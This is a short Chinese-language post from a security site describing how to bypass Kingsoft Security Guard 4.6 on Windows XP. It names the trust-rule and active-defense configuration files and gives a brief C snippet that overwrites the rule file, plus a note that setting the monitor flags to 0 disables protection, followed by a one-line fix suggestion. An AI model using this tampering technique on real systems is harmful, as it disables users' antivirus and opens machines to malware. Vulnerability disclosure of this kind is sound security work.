绕过金山安全卫士执行任意代码

浏览： ℃

字体：大中小

发布时间：2013-12-09 23:23:32

来源：

版本:金山卫士4.6正式版

环境:winxp sp3

//杀毒规则文件

C:/Program Files/ksafe/kusrtrst.dat

//主动防御

C:/Program Files/ksafe/cfg/ksfmon.ini

[option]leak_monitor=1risk_monitor=1process_monitor=1udisk_monitor=1browser_monitor=1browser_anti_fishing=1browser_anti_malicious=1nointerrupt=0udisk_autorun=0[runreport]reportnum=1

直接改吧

本地配置好一个kusrtrst.dat，然后覆盖掉.

int main(int argc, char* argv[]){CopyFile("C://kusrtrst.dat","C://Program Files//ksafe//kusrtrst.dat",false);return 0;}

主动防御部分我就不写了，下班要走人了。就是把ksfmon.ini里的值改为0

修复方案：

默认两个配置文件的编辑需要admin权限/win7测试。

>更多相关文章

首页推荐

东方联盟网培训质量如何?靠谱吗?

　　佛山市东联科技有限公司一直秉承“一切以用户价值为依归

相关文章

24小时热门资讯

24小时回复排行

热门推荐

最新资讯

网络安全

操作系统

黑客防御

站长知识